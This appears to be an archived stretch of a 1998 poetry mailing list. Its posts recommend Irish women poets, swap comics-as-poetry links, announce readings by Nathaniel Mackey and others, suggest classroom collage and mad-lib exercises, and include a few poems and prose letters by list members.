A little help here: My wife got hooked into participating in an event at a local used bookstore wherein she (and about a dozen others) are going to read Irish poets. She's fairly certain the usual suspects will be well represented, and would like to read some women poets. The problem: I'm either drawing a blank on women poets from Ireland (except Eaven Boland), or I'm thoroughly ignorant on this topic (I'm casting the first vote for the latter). So as I said, a little help, please... The reading will by saturday, april 18. And all help, however little, will be appreciated. Backchannel if you prefer...

David Zauhar
University of Illinois at Chicago

to belong to
whatever moves us outward into
the wideness, for journeying...

--Hilda Morley

↑ Index

287. **k. lederer**
Re: women poets from Ireland
Sun 12 Apr 1998

I saw Medb read a few years ago.... she was super excellent. I think that a lot of her work (or a portion of it) was in some pretty heavy dialect... but some of it was also in standard (readable/pronouncable) English...

Katy
***

On Sun, 12 Apr 1998, Billy Little wrote:

> *eilleen ni cuchulain*
> *medb mcgucken(sp?)*

↑ Index

288. **Rprunty**
Re: Antenym, improved directions to reading
Sun 12 Apr 1998

Improved directions for reading

enter Probing.
arboretum through its nonmain entrance. gate located adjacent to.
Golden Gate sPark at the intersection.

of 9th hA-venue and Langpo Way.

after entering Stray, bing the Arboretum gate, palooking
paved path for all others heading south.
towards (sign marked "California Natives").

follow this paved path, straying roughly. parallax L'way until
you hear the screech, the nursery buildings. children
ambushed by erotica.

after pasting the nursery buildings, bare (its your right) (north) on the paved path and look for the Assonance enTrail sign. this is an unpaved path.

follow the Reading sWay and look for
markers... #17.... #18.
three-ring bound clearing with
benches and a tree-stump podium. the reading is
here.

R Prunty

↑ Index

289. Keith Tuma
Re: women poets from Ireland
Sun 12 Apr 1998

Not to be missed: Catherine Walsh

They'll especially like the opening of _Pitch_ (Pig Press) maybe

Si yo pudiera tocar
la luna

Si yo pudiera colgarlo
desde mi ventana

como una nina tonta con
su afan de verle las tripas
de toda

(Don't know how to make those irish diacritical marks on the computer)

See also _idir eatortha and making tents_ (invisible books)

These and earlier books available SPD and elsewhere

Work in _Out of Everywhere_ as well

Other stuff forthcoming in Talisman

↑ Index

290. Miekal And
after emmett
Sun 12 Apr 1998

---

after emmett

a
dispersion

of
ninetiles

a typofantastic epic voyage by Miekal And

http://net22.com/qazingulaza/joglars/afteremmett/bonvoyage.html

after emmett was created during april 1998 using selected letters from the following fonts: albatross, arial, attic, avant garde, bodoni, cochin, contraband, cooper black, courier, exocet heavy, friz quadrata, georgia, gilligans island, goudy heavy, goudy oldstyle, goudy thin, harlequin, harrington, helvetica, impact, kronk, lemiesz, lubalin graph, milano, oakwood, OPTIflare, optima, poster bodoni, potsdam, premium truetype, rocky, stonecutter, stiletto, thunderbird, trajan, ultrablack, university roman, ursa serif , utopia, vedome, verdana. animations rendered using adobe photoshop & the nifty shareware gifbuilder.

↑ Index

291. Keith Tuma
Re: women poets from Ireland
Sun 12 Apr 1998

> *Not to be missed: Catherine Walsh*
>
> *Work in _Out of Everywhere_ as well*

Whoops, misremumbled, no Walsh there, no Ireland, lots of other everywhere

↑ Index

292. David Kellogg
Re: women poets from Ireland
Sun 12 Apr 1998

On Sun, 12 Apr 1998, Billy Little wrote:

> *eilleen ni cuchulain*
> *medb mcgucken(sp?)*

spellcheck:

Eilean Ni Chuilleannain
Medbh McGuckian (pron. "mave")

Others:
Nuala Ni Dhomnhaill (she writes in Irish; very good translations
available from Wake Forest/Gallery Press)
Paula Meehan

Catherine Walsh
Sara Berkley

Cheers,
David
~~~
~~~

295. **laura and jeff**
goodbye
Mon 13 Apr 1998

---

it's been fun and interesting, but i've got to sign off for a bit. too much going on.
thanks.
jeff.

> Listen,
> if the stars are lit
> it means there is someone who needs it.
> It means it is essential
> that every evening
> at least one star should ascend
> over the crest of the building.
>
> -mayakovsky, from "listen"

↑ Index

296. **Miekal And**
Re: Scavenger hunt suggestions
Mon 13 Apr 1998

Bern Porter has produced 10s of books & 100s of pages from the trash can at the post office & the copy shop, they tend toward a very demographic diversity of materials...

also would highly recommend showing the kids a copy of one of his big found books like Books of Dos or Book of Donts which need no explanation & a quick-flip thru can be a delightful way to worm thru a student's self-conscious hesitations.

one of my personal favorites (for collage writing) is scanning the spines of books in bookstores & libraries. likewise a hologram of the writerly impulse.

also this is oftrack of your request, but far & away the most success Ive had working with kids is with creating neologisms, defining them & using them in sentences. its also very revealing of where each kid is at, one's words will be body sounds & swear words & another might all be about friends, & another about mosh pits.

miekal

↑ Index

297. Robert Archambeau

Re: women poets from Ireland

Mon 13 Apr 1998

Futher to Catherine Walsh:

The most reliable, and probably the fastest, way to get your hands on her work is to go through the distribution service set up by hardPressed Poetry in Ireland (hardPressed is run by Walsh and Billy Mills, another wonderful Irish experimental poet, but one whose X/Y ratio excludes him from the reading in question).

hardPressed Poetry
37 Grosvenor Court
Templeville Road
Templeogue
Dublin 6W
Irleand

Note that hardPressed will have a new journal of the same name coming out this fall -- write for info.

Bob

--
Robert Archambeau
Department of English
Lake Forest College
Lake Forest, IL 60045
http://www.lfc.edu/~archamb/

" on the end
of each decision stands a heretic"
--Michael Barrett

↑ Index

298. r. drake

fwd: Arguelles/Foley reading, & interview

Mon 13 Apr 1998

> *From: JASFOLEY <[redacted]>*
> *Date: Mon, 13 Apr 1998 01:07:15 EDT*
> *Subject: reading*
>
> *For those of you who can attend the reading, please do. Everyone else might be interested in the interview.*

> *Book Release Celebration*
>
> *for New Poetry from California: Dead / Requiem*
>
> *Ivan Arguelles & Jack Foley*
> *Introduced by Neeli Cherkovski*
>
> *Sunday, April 19*
> *4 - 6 PM*
> *City Lights Books*
> *261 Columbus Avenue*
> *San Francisco*
>
> *
>
> *The online magazine, CitySearch, interviewed Jack Foley for National Poetry Month. Foley talked about the literary history of the San Francisco Bay Area from the 1940's to the present. CitySearch is also featuring a time line in which significant literary events of that time period are cited. The interview and time line will be posted April 13th.*
>
> *Look for:*
>
> *http://www.citysearch.com*
>
> *Then click on "San Francisco."*
>
> *Click on "Feature Stories" (NOT "Arts & Entertainment").*
>
> *Click on "Local Howlers."*
>
> *Alternative method:*
>
> *If you want to go to "Local Howlers" directly, the address is:*
>
> *http://www.citysearch7.com/E/F/SFOCA/0000/07/92/*

↑ Index

299. **Gary Sullivan**
Hey, Kids! Comics!
Mon 13 Apr 1998

Hi, Erik & Others:

Thought you might be interested in exploring some of these non-mainstream & self-published "poetic" comic-artist heroes of mine . . .

Dame Darcy's _Meat Cake_ . . . cartoon renderings of original gothic/Helen Adamesque tales . . . spine chilling! . . . poetic! . . . super groovy! . . .

The Fascist . . . Marxist rhetoric cut & pasted into the speech balloons of Archie Comics characters . . . I don't know who the Minneapolis-based creator of this is, or if s/he's still producing this magazine, but it was one of maybe three things I actually *liked* about the Midwest . . .

Chester Brown's _Yummy Fur_ and _Underwater_ . . . bizarre retellings of Bible stories, "Ed the Happy Clown," surreal, "silent" "movies," cartoon-essays on schizophrenia interweave with autobiography . . .

Lynda Barry's "Ernie Pook's Comeek" . . . her intensely realized and plainly told remembrances of childhood, which subtly address things often ignored in comics like racism, class, misogyny, etc., have been a big influence on my own poetry comics ("The New Life") . . . my personal fave of all comics artists working today . . .

Bill Griffith's "Zippy the Pinhead" . . . chains of non-sequitors, skewed pop-culture references, quotidian settings . . . If Zippy isn't poetry, well, like, "whatever" . . . you can access Zippy's Active Filter (which turns the usually boring language of any web-page into poetic Pinheadisms) at:

http://www.metahtml.com/apps/zippy/

Nancy Bonnell-Kangas's _Nancy's Magazine_ . . . I have Dan Davidson to thank for turning me on, nearly 10 years ago, to my all-time favorite magazine . . . poet/librarian/mom, NB-K publishes her always hilarious theme-issue collections of opinions, cartoons, poetry, & "facts" very irregularly, but the mag's cheap ($7 for two issues) and always worth the wait: N's M, P.O. Box 02108, Columbus, OH 43202

Julie Doucet's _Dirty Plotte_ . . . often violent . . . take-no-prisoners feminist . . . occasionally quotidian/anecdotal . . .

Joe Matt's _Peep Show_ . . . Crumb-inspired autobiography . . . revealing & hilarious . . .

Seth's _Palookaville_ . . . Seth's autobiographically-based comics-obsessed narrator tracks down Kalo, a real-life, one-time _New Yorker_ cartoonist of the 40s . . . beautifully rendered . . . see review of Seth's _It's a Good Life If You Don't Weaken_ in this month's _Rain Taxi_ . . .

Very Vicky . . . I don't remember the Boston-based team who does this, but it's a great comic . . . plot largely stolen from "It's a Mad, Mad, Mad, Mad, Mad World" . . . Vicky is a hip, young, snotty, New York alcoholic stuck for the summer in a North Carolina beach town . . .

Dan Clowes's _Eightball_ . . . an exceptional comic . . . poetic satire . . . horrific dream-narratives . . .

Rick Veitch's _Rarebit Fiends_ . . . that's not the exact title . . . Veitch illustrates his own and others's dreams . . .

OTHERS OF SIMILAR INTEREST: Jessica Abel, Chris Ware, Mary Fleener, Jim Woodring, Gary Panter . . . well . . . there's lots . . . & I gotta get back to, barf, "work" . . .

Have fun,

Gary Sullivan
[redacted]

↑ Index

300. **louis stroffolino**
Re: Dodie chat
Mon 13 Apr 1998

reply

On Thu, 2 Apr 1998, SSSCHAEFER wrote:

> *Dodie:*
>
> *In a message dated 98-04-01 20:58:18 EST, you write:*
>
> *<< Why don't you try reading my writing and the writing of the rest of the women on the list and then you'll see how much of it is all about technique. And the notion of a female form has been kicked around ad nauseum since when--the 70s, the 80s? It's essentialist gaga. Why should we have to kick it around again to conform to your idea of a serious discussion? >>*
>
> *I have read your writing and much of the rest of the writing on this list and many others. Nice condescension, though. Excellent technique. And of course all writing is about technique at some point. Not sure why you're so hostile to my questions. I thought I was sincerely trying to get someone to help me think about these issues and I think it is happening. I'm not exactly sure why reference to "serious" discussion type things like Shoptaw's book should be attacked here when books, theorists, etc. are mentioned constantly in order to direct a conversation. I'm a little offended by the tone of your post and wonder if I offended you. However, the fact that the female form has been kicked around ad nauseum seems obvious to me. Simply restating it doesn't help. And is why serious conversation should occur.*
>
> *So many of your posts have been interesting and informative. Never thought you'd be the type to grind an axe. Was there some humor in your post that I*

> *missed?*
>
> *Standard*

↑ Index

301. David Zauhar
Mackey Reading in Chicago
Mon 13 Apr 1998

For listmembers in the Chicago area this week:
Nathaniel Mackey will be reading on the campus of the University of Illinois at Chicago on April 15 and 16. Here's the more specific schedule:

Wednesday, April 15 at 3:00 p.m.: A Reading of Poetry and Prose. (at the African-American Cultural Center, 2nd Floor, Adams Hall)

Thursday, April 16th, at 11 a.m.: "On the Influence of H.D. on My Poetry." (at the Humanities Institute, Basement, Stevenson Hall)

Both events are free and open to the public. However, the University of Illinois at Chicago is not the easiest place to find your way around, and these aren't the most convenient of times for those who lead non-academic lives, but it'll be worthwhile if you can make it.

In fact, says one list member of Mackey's visit to her campus, "It was terrific... highly recommended; dense duncan-mediated, cecil taylor thrown in as well as Kamau Brathwaite as well as oceanic consciousness ("tidalectics"), good for those of us in the midwest."

-- Maria Damon, University of Minnesota

Any further questions or for directions contact me backchannel.

David Zauhar
University of Illinois at Chicago

↑ Index

302. Gary Sullivan
"Art/Poetry" Comics Sites on the Net
Mon 13 Apr 1998

http://www.tcj.com/ (_Comics Journal_ . . . great place to begin exploration beyond always-invoked DC, Marvel, Jess, Brainard & Morice . . .)

http://ism.opal.de/ (Rick Veitch's _Rare Bit Fiends_ and John Mitchell and Jana Christy's _Very Vicky_, etc.)

http://www.kitchensink.com/ (R. Crumb, etc.)

http://www.fantagraphics.com/ (Dame Darcy, etc.)

http://www.hardboiledegg.com/quarterly/ (Julie Doucet, Joe Matt, Seth, D. Clowes, etc.)

http://deepseacomics.at.org/deepsea2.html (_Reid Fleming, World's Toughest Milkman_)

http://www.chivian.com/chivian/Comics.html#Independents (_Cerebus_, _Freak Brothers_, _Fat Freddy's Cat_, etc.)

↑ Index

303. **ScoutEW**
Re: Hey, Kids! Comics!
Mon 13 Apr 1998

---

hey gary, comics and poetry! In the book on Jess Collins that the Albright-Knox art museum put out there are some great pictures in color of the "Tricky Cad" series Jess did And yes for a while now I have read Peepshow which is absolutely hilarious, Dame D'Arcy, (Hate, EightBall) both which have become stupid. There is a good one, StraY BULLETS AND Billy Corgan the Smartest Kid on earth- I really like the search for Kato in Palookaville but I was raised on corner store comics like Spiderman and even the Archies(lame huh) but my sister and I had to find titles we could both like, i think she likes fantastic four anyways check out those tricky cad drawings everyone, a play on dick tracy Flame On! PS i wrote a letter on behalf of Steve McCafferey and got a lame letter back saying he was never formally hired so it shouldn't matter if he isn't working there now, it was a "form" letter i'd be interested to see how many people got the same one.

↑ Index

304. **Gary Sullivan**
Tricky Cad, etc.
Mon 13 Apr 1998

Hi, Erik!

First saw Tricky Cad long, long ago on a faraway planet (Berkeley, 1980-something) in the "Made in the USA" show at the UCB Museum . . . my intro to Jess, been a fan since . . . also, roughly same time, read volumes of _C Comics_ at whatever the rare book room is called there . . . Me & Dan D. used to get kicked out for uncontrollable laughing . . . haven't yet read _Stray Bullets_ and didn't know of _Billy Corgan_, so thanks for those . . . Eightball has become stupid? Or

Darcy & Matt? I admit I haven't looked into Darcy's world in a while . . . but still love Eightball . . . I was raised on _Creem_ magazine, myself . . . Lester Bangs, et al. . . . and, speaking of comics & _Creem_, do you remember The Mad Peck?!? . . . YEE-haw . . . cartoon-rendered record reviews . . . & whatever happened to Futsy Nutzle? . . . BIG fan, too, of Roz Chast . . . blah blah blah . . . anyway, of DC/Marvel I must admit to devouring ANYTHING by Jack Kirby . . . anyway, some MORE sites & then I'll shut up . . .

http://www.geocities.com/CapitolHill/2770/LyndaBarry.html (Lynda! Can't . . . breathe . . . thinking about . . . how . . . GREAT . . . she is . . . ! . . . dizziness . . . gasp! . . . etc. . . .)

http://www.cloudnet.com/~hamlinck/spz.htm (The Small Press Zone . . . comics reviews, catalogues & how-to-publish/distribute info . . .)

http://www.sp.uconn.edu/~epk93002/ComicsScholarship/ (General comics info)

All for now, yours . . . Gary

↑ Index

305. Carolyn Guertin

Re: "Art/Poetry" Comics Sites on the Net

Mon 13 Apr 1998

Wow. Thanks for these.

Don't forget:

Patricia Seaman's _New Motor Queen City_ :
<http://www.chbooks.com/onlinebooks/seaman/nmqc.html>

Ron Mann's _Comic Book Confidential_:
<http://voyager.learntech.com/cdrom/catalogpage.cgi?comic>
and _Poetry in Motion I_ and _II_
<http://voyager.learntech.com/cdrom/catalogpage.cgi?pim>

bpNichol's electro-poetics (none of his comics, alas):
<http://www-nmr.banffcentre.ab.ca/Artists/tmcl/saviours.html>

And a query: is Debbie Drechsler Canadian?

Cheers,
Carolyn

> *http://www.tcj.com/ (_Comics Journal_ . . . great place to begin exploration beyond always-invoked DC, Marvel, Jess, Brainard & Morice . . .)*
>
> *http://ism.opal.de/ (Rick Veitch's _Rare Bit Fiends_ and John Mitchell and Jana*
> *Christy's _Very Vicky_, etc.)*

> *http://www.kitchensink.com/ (R. Crumb, etc.)*
>
> *http://www.fantagraphics.com/ (Dame Darcy, etc.)*
>
> *http://www.hardboiledegg.com/quarterly/ (Julie Doucet, Joe Matt, Seth, D. Clowes, etc.)*
>
> *http://deepseacomics.at.org/deepsea2.html (_Reid Fleming, World's Toughest Milkman_)*
>
> *http://www.chivian.com/chivian/Comics.html#Independents (_Cerebus_, _Freak Brothers_, _Fat Freddy's Cat_, etc.)*

_____ Carolyn Guertin, Department of English, University of Alberta E-Mail: [redacted]; Tel/FAX: [redacted] Website: <http://www.ualberta.ca/~cguertin/Guertin.htm>

"Language is a virus."
-- Laurie Anderson

↑ Index

306. **Mark Weiss**

Re: "Art/Poetry" Comics Sites on the Net

Mon 13 Apr 1998

Dorn's La Gran Apacheria was initially issued as a comic book. I imagine it's hard to find.

At 12:35 PM 4/13/98 -0600, you wrote:
>Wow. Thanks for these.
>
>Don't forget:
>
>Patricia Seaman's _New Motor Queen City_ :
><http://www.chbooks.com/onlinebooks/seaman/nmqc.html>
>
>Ron Mann's _Comic Book Confidential_:
><http://voyager.learntech.com/cdrom/catalogpage.cgi?comic>
>and _Poetry in Motion I_ and _II_
><http://voyager.learntech.com/cdrom/catalogpage.cgi?pim>
>
>bpNichol's electro-poetics (none of his comics, alas):
><http://www-nmr.banffcentre.ab.ca/Artists/tmcl/saviours.html>
>
>And a query: is Debbie Drechsler Canadian?

>
>Cheers,
>Carolyn
>
>>http://www.tcj.com/ (_Comics Journal_ . . . great place to begin exploration
>>beyond always-invoked DC, Marvel, Jess, Brainard & Morice . . .)
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>>http://ism.opal.de/ (Rick Veitch's _Rare Bit Fiends_ and John Mitchell and
>>Jana
>>Christy's _Very Vicky_, etc.)
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>>http://www.kitchensink.com/ (R. Crumb, etc.)
>>
>>http://www.fantagraphics.com/ (Dame Darcy, etc.)
>>
>>http://www.hardboiledegg.com/quarterly/ (Julie Doucet, Joe Matt, Seth, D.
>>Clowes, etc.)
>>
>>http://deepseacomics.at.org/deepsea2.html (_Reid Fleming, World's
Toughest
>>Milkman_)
>>
>>http://www.chivian.com/chivian/Comics.html#Independents (_Cerebus_, _F-
reak
>>Brothers_, _Fat Freddy's Cat_, etc.)
>
>
>_____
>Carolyn Guertin, Department of English, University of Alberta
>E-Mail: [redacted]; Tel/FAX: [redacted]
>Website: <http://www.ualberta.ca/~cguertin/Guertin.htm>
>
>"Language is a virus."
>-- Laurie Anderson
>
>

↑ Index

307. **Maria Damon (Maria Damon)**
Re: "Art/Poetry" Comics Sites on the Net
Mon 13 Apr 1998

---

my system doesn't recognize the bpnichol site. are u sure it's right?

At 12:35 PM 4/13/98, Carolyn Guertin wrote:
>Wow. Thanks for these.
>
>Don't forget:
>
>Patricia Seaman's _New Motor Queen City_ :
><http://www.chbooks.com/onlinebooks/seaman/nmqc.html>
>
>Ron Mann's _Comic Book Confidential_:
><http://voyager.learntech.com/cdrom/catalogpage.cgi?comic>
>and _Poetry in Motion I_ and _II_
><http://voyager.learntech.com/cdrom/catalogpage.cgi?pim>
>
>bpNichol's electro-poetics (none of his comics, alas):
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>
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>Cheers,
>Carolyn
>
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>>
>>http://www.hardboiledegg.com/quarterly/ (Julie Doucet, Joe Matt, Seth, D.
>>Clowes, etc.)
>>
>>http://deepseacomics.at.org/deepsea2.html (_Reid Fleming, World's
Toughest

>>Milkman_)
>>
>>http://www.chivian.com/chivian/Comics.html#Independents (_Cerebus_, _F-
reak
>>Brothers_, _Fat Freddy's Cat_, etc.)
>
>
>_____
>Carolyn Guertin, Department of English, University of Alberta
>E-Mail: [redacted]; Tel/FAX: [redacted]
>Website: <http://www.ualberta.ca/~cguertin/Guertin.htm>
>
>"Language is a virus."
>-- Laurie Anderson

↑ Index

308. **Pritchett,Patrick**
Re: "Art/Poetry" Comics Sites on the Net
Mon 13 Apr 1998

I recently found a copy. It features a comic book cover. The poems, however, while printed on cheap comic book paper, are straight text - no illustrations. Tom Peters, owner of the Beat Book Shop here in Boulder, had a handful of these comics three months ago when I bought mine. Whether he has any left, I don't know. You can contact him, though, at: [redacted]

Patrick Pritchett

From: Mark Weiss
To: [redacted]
Subject: Re: "Art/Poetry" Comics Sites on the Net
Date: Monday, April 13, 1998 1:53PM

Dorn's La Gran Apacheria was initially issued as a comic book. I imagine it's hard to find.

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309. **Maria Damon (Maria Damon)**
Re: Mackey Reading in Chicago
Mon 13 Apr 1998

---

zauhar's post reminds me that i didn't cover the final Mackey-in-Twin-Cities event in my previous post (because it hadn't happened yet). he read at the Nomad Gallery, a new place run by the brother of the guy who runs the Khyber

Pass Afghani restaurant in St Paul. It was their inaugural reading, and Habib the proprietor said it was an honor to be able to host Mackey. The space was really lovely, nicely lit, and NM sat w/ his back to a big window. There were Afghani rugs covering the space behind him, and he sat at a table likewise draped w/ rugs, a beautiful effect, and on the table was a vase with a single rose. he sat behind the table as he read. he started w/ the Jimi Hendrix poem from "Eroding Witness," in response to a request from me (i forgot to thank him afterwards). then he read mostly from the forthcoming Atet:A.D. and some, as i recall, but maybe i'm wrong, from Udhra. Very responsive audience and a good feeling. An aesthetically satisfying experience, especially on top of the wonderful meal we'd just enjoyed at the Khyber Pass. Highly recommended to all traveling thru the TCs. At times during the reading, sitar music floated over from the restaurant, a thin wall away, and heavy treads above from the folks in the apartment upstairs. those sound effects "haunted" the space appropriately. i think it was NM's favorite "event" of his visit, and small wonder, it was really a fine evening, organized by Mark Nowak of XCP fame.

At 9:22 AM 4/13/98, David Zauhar wrote:
>For listmembers in the Chicago area this week:
>Nathaniel Mackey will be reading on the campus of the University of
>Illinois at Chicago on April 15 and 16. Here's the more specific schedule:
>
>Wednesday, April 15 at 3:00 p.m.: A Reading of Poetry and Prose.
>(at the African-American Cultural Center, 2nd Floor, Adams Hall)
>
>
>Thursday, April 16th, at 11 a.m.: "On the Influence of H.D. on My Poetry."
>(at the Humanities Institute, Basement, Stevenson Hall)
>
>Both events are free and open to the public. However, the University of
>Illinois at Chicago is not the easiest place to find your way around, and
>these aren't the most convenient of times for those who lead non-academic
>lives, but it'll be worthwhile if you can make it.
>
>In fact, says one list member of Mackey's visit to her campus, "It was
>terrific... highly recommended; dense duncan-mediated, cecil taylor thrown
>in as well as Kamau Brathwaite as well as oceanic consciousness
>("tidalectics"), good for those of us in the midwest."
>
>-- Maria Damon, University of Minnesota
>
>Any further questions or for directions contact me backchannel.

>
>David Zauhar
>University of Illinois at Chicago

↑ Index

310. DANIEL L. COLLIER
Poetry Comics
Mon 13 Apr 1998

Thanks to Ron, "ScoutEW" and Billy Little for the references.

I'm a little far from New York, and will be until at least September, so I'm pretty sure I'll miss the Padgett/Brainard piece. Are there any interesting examples of misappropriation of comic strip panels in books or journals which I can look up when I get back to the US? I'm particularly interested in Jess/Jess/Burgess' purported Shakespearian range.

Thanks again.

Danny

"Ivanov reads his book until the controller gives him a fine; on Monday morning, life is a bit hard." -- Aquarium, "Ivanov"

↑ Index

311. Christopher W. Alexander
Re: Scavenger hunt suggestions
Mon 13 Apr 1998

> *My idea is to have the students make up scrapbooks, and what I'm looking for are short, simple, scavenger hunt type instructions/exercises to provide them with tools for extracting possible poetic material out of text.*

one (possibly collaborative) game the surrealists used
was to take an existing text with a recurring word -
product labels are good for this - and substitute another.
Alternately, you can treat an existing text as a mad-lib
(everyone remembers these, right?): remove selected
words in favor or their parts of speech (noun, adj., verb),
of which you make a separate list

noun
adj.
verb etc.

without having seen the original or the text with which they are playing, the other participants supply words that match the categories, re-assembling the text by substitution. It might be especially useful if you employ either a text familiar to yr students, or a text that carries some authority - e.g., Clinton's inaugural speech or a Frost poem.

another variation is to limit the possible responses to, say words associated with the "peace talks" in Northern Ireland. Often, the players responsible for "filling in the blanks" take up a narrative or associative thread of their own, which is fully disr8upted by its distribution within the prior text.

so, for instance:

PropertySheetHandlers and {3EA48300...: Here, the key structure does not directly reveal the purpose of the {3EA48300... key, but if that subkey is opened under the CLSID key (not shown in the figure), its Contents Pane identifies it as an "OLE Docfile Property Page."

[noun] and [noun]: Here, the [noun] does not directly [verb] the [noun] of the {3EA48300 key, but if that [noun] is opened [prep] the [adj] key (not [verb] in the figure), its [noun] [trans. verb] it as an "[adj] Property Page."

where

noun=breakfast
noun=artifice
noun=tree frog
verb=ruin
noun=the President of the United States
noun=cheese
preposition=within
adj=admirable
verb=disgust
noun=Senator John Glenn
transitive verb=revile
adj=unpleasant

yields

Breakfast and artifice: Here, the tree frog does not directly ruin the the President of the United States of the {3EA48300 key, but if that cheese is opened within the admirable key (not disgusted in the figure), its Senator John Glenn reviles it as an "unpleasant Property Page."

chris - etcetera

..

Christopher Alexander [redacted]
Marriott Library Instruction [redacted] (lv. msg.)
http://www.lib.utah.edu/instruction/mltech.html

↑ Index

312. L.MacMahon and T.R.Healy

Re: women poets from Ireland

Mon 13 Apr 1998

I can but add my voice to those who have recommended Catherine Walsh's work. Not to be missed.

The Irish writer Philip Casey has a web site called "The Fabulists" which contains a dictionary of Irish writers. Any search engine should find it for you. It contains information on a variety of Irish women poets.

Randolph Healy

↑ Index

313. beth lee simon

Re: Mackey Reading in Chicago

Mon 13 Apr 1998

For those of you a bit more east, Nathaniel Mackey will be reading here (deictically speaking), in Fort Wayne, April 14, at 7:30. Great venue--the auditorium of Art Link.

beth simon
assistant professor, linguistics and english
indiana university purdue university

↑ Index

314. Safdie Joseph

Re: Robeson, H.D., Bryher

Mon 13 Apr 1998

So Aldon (and others) was it on or not? I had a Seder to attend that night, but I could have taped it. Speaking of which, yesterday was a real good day on cable -- I taped, in order, part of "The Fifties" (documentary on the History Channel), then the Thelonious Monk "Straight No Chaser" (on IFC), followed by a Bravo profile on Kerouac! After all that I was wondering what decade I was in (a problem which the folks in Arizona seemed to have as well) -- recommended viewing for those who have already had too much of the millennium!

Duncan McNaughton has an interview in the latest _Mike and Dale's_ that, in effect, repeats what I think Jack Spicer said -- namely, the Fifties were the real revolutionary decade, until the Beatles killed it all off in 1964 (thus starting "the Sixties") -- whaddya think, listees?

_____

> *According to my TV guide, the American Movie Classics cable ch. is showing the seldom-seen silent film _Borderline_ tonight, which features Paul Robeson, H.D., Bryher, Kenneth MacPherson etc.*
>
> *If true, this is not-to-be-missed -- check your local listings --*

↑ Index

315. George Bowering
Re: Dorn comics
Mon 13 Apr 1998

> *I recently found a copy. It features a comic book cover. The poems, however, while printed on cheap comic book paper, are straight text - no illustrations.*
> *Patrick Pritchett*
> ----------

You got a defective copy. There should be a drawing of a bunch of TV antennae and paddleboards with the poem "Fifteen Hundred Tons of Hay @ 1c per Pound" and a crucifix picture a few pages before the end. Pictures by Michael Myers.

I had students handle this text in a course this spring.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

316. Pierre Joris
Poems for the Millennium VOL II
Mon 13 Apr 1998

We -- Pierre Joris & Jerome Rothenberg -- would like to announce our anthology _Poems for the Millennium: The University of California Book of Modern &

Postmodern Poetry_ (Vol 2: From Postwar to Millennium), just out from University of California Press.

ISBN 0-520-20864-1
$24.95 paper
850 pages, 6 x 9", b/willustrations

For those interested, you may view the cover via the EPC homepage or directly : http://writing.upenn.edu/epc/presses/mill/2mill.html. The Table of Contents and the Introduction to the book will be available on the same site in another week.

--
==========
pierre joris 6 madison place albany ny 12202
tel: [redacted] fax: [redacted]
email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
  — La Rochefoucauld
“All my life I’ve heard
one makes many”
  — Charles Olson
==========

↑ Index

317. ScoutEW
Re: Tricky Cad, etc.
Mon 13 Apr 1998

---

the smell of fried chicken from the downstairs apartment is driving me crazy, I should go downstairs and demand a taste seeing as that the girl downstairs keeps me up all the time with doors slamming and woofy dogs ruf ruf. -So I think i mean the jimmy corrigan the smartest kid on earth comic, it is really funny...so could someone fill me in on how michael mcClure was at UB seeing is that i couldn't make it to my hometiown to see him. "whay are you staring at me i'm not a flower" so did anyone care to respond about diane wakowski's twin brother story.. anyways whats on tap in old Buffalo anyways, any conferences coming up like that great Zukofsky one of last year..Don't ever dance on the chairs at the Tralfamadore Cafe to James Brown downtown or they will politey ask you to get down..if anyone ever sees David Landrey around the Queen city tell him Erik Sweet says hi, he was one of the greatest teachers I ever had. So

for now, lets hear more about comics and poetry, what about the great comic "Berrigan" with joe brainard I think with Ted Berrigan as a poet/detective any poet/magnum P.I.'s out there what about T.C....?

↑ Index

318. Ryan Whyte
letter
Mon 13 Apr 1998

April 12

Dear Schiller

... I am a painter; I put out my eyes for you. Tell me, again, the bleeding darkness, of the things in me I cannot see, I will never see. Tell me, there are cities beneath the grasses of the plains of Sicily; tell me of the impenetrable lead. Of the Roman earth. These come back to me in a woodcut.... I am naive, love me thus -- is it, then, of humility to be at one with your nature? Is it humility? What is the propriety, the patrimony of these states....

Waste me in a wanton hour, turn of the pen; no, it is the distance which destroys me, the haze of an idyll. I ask you to defeat me even before I've opened my mouth. You have seen your end in me. You've written as much.

The city, since you asked, spills along the shore forever eastward. Always in spring and summer: hot, humid and hazy. It is the stuff of New York and Boston that wafts across the lake. The cities jostle, shoulder to shoulder.

The ladies here have a curious habit. They will, in small or large groups, swim and bathe along the public shores of the lake; they are indifferent to passers-by, and do not scream at the approach of men. Indeed, they are a pleasant sight: grouped on the large rocks, submerged to their faces and bathing caps, and often holding their children.

This tedious example resonates, I believe, with something of the beautiful, those things which you have written me. Strange that a foreign practice should find accord with some more primary thing in man.

And yet this is to a certain split.

Ah, since you asked I will write of love only in white ink

↑ Index

319. **groberts**

Dear Joe Brainard,

Mon 13 Apr 1998

I recently saw you mentioned
in an old poem, I can't remember its title,
by your friend Jimmy Schuyler,
whom I call James because he never
was anyone I knew, and he knew a lot
of people, a lot them people
who also knew and liked you,
all of them people I don't know,
though I know what I like when I see it,
like your art, which I also saw recently
in an article in Art in America.
You seemed to have loved, besides guys,
flowers and the Sunday funnies,
and you found ways to draw from them
icons for your various and sundry beatitudes.
Like Nancy, the girl from the strip of the same name,
whom you transmorgrified lovingly
in a couple of paintings and collages
even though she could never reciprocate your attentions
in her own world by lifting up her skirt to show a penis.
That would have been as crazy as having Sluggo throw
a brick to the back of her head
the way Ignatz would do for Krazy Kat
with his brick trailing its quiet -ZIP-
though it could also go -ZIZ-
same as a comet does as it comes and goes
from perigee to apogee (actually
they're called "perihelion" and "aphelion"
but I prefer "perigee to apogee") and back again,
unless it gets drawn into the Sun
or bumps into something else
or has its ellipse perturbed
into a parabola of no return,
its tail gone out, the next nearest star
a ways away, if it's lucky,
though typically it's not.
Bye for now, see you soon,
if not, then eventually.

Yours,
Kamandi, the Last Boy on Earth

↑ Index

320. **Tom Orange**
nyc secondhand bookshops
Tue 14 Apr 1998

---

hey new yorkers,

planning a trip to the big city and would appreciate hearing about yr fave used bookstores, specially ones with lotsa good poetix stuff. already know about the strand and east village books but need help adding to my itinerary. backchannel is fine.

thanks,
t.

```
_____________________________________________________
| The ground acknowledges my every step as the road's own |
| scrawl in eyesight's hand                               |
|                -- Andre du Bouchet --                   |
```

~~~
~~~

> cultural nexus. Papers may employ a number of critical methods;
> philosophical, psychoanalytic, art historical, literary theoretical, etc.
